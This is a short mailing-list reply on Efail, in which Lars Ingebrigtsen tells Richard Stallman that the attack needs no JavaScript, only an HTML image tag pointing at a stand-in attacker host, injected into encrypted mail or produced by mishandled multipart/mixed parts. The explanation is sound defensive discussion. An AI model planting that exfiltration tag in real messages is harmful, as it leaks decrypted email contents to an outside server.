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Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?


From: Lars Ingebrigtsen
Subject: Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?
Date: Wed, 16 May 2018 11:30:37 +0200
User-agent: Gnus/5.13 (Gnus v5.13) Emacs/27.0.50 (gnu/linux)

Richard Stallman <address@hidden> writes:

> Does the exploit depend on Javascript code that the MUI will execute?

No, it just depends in <img src="http://attacker.org/"; in various
scenarios (either embedded at the start of the PGP-encrypted message
itself (which is possible due to certain deficiencies in the format)),
or due to mishandling by certain mail user agents of multipart/mixed,
where it would concatenate various parts before parsing the resulting
mess as one HTML message.

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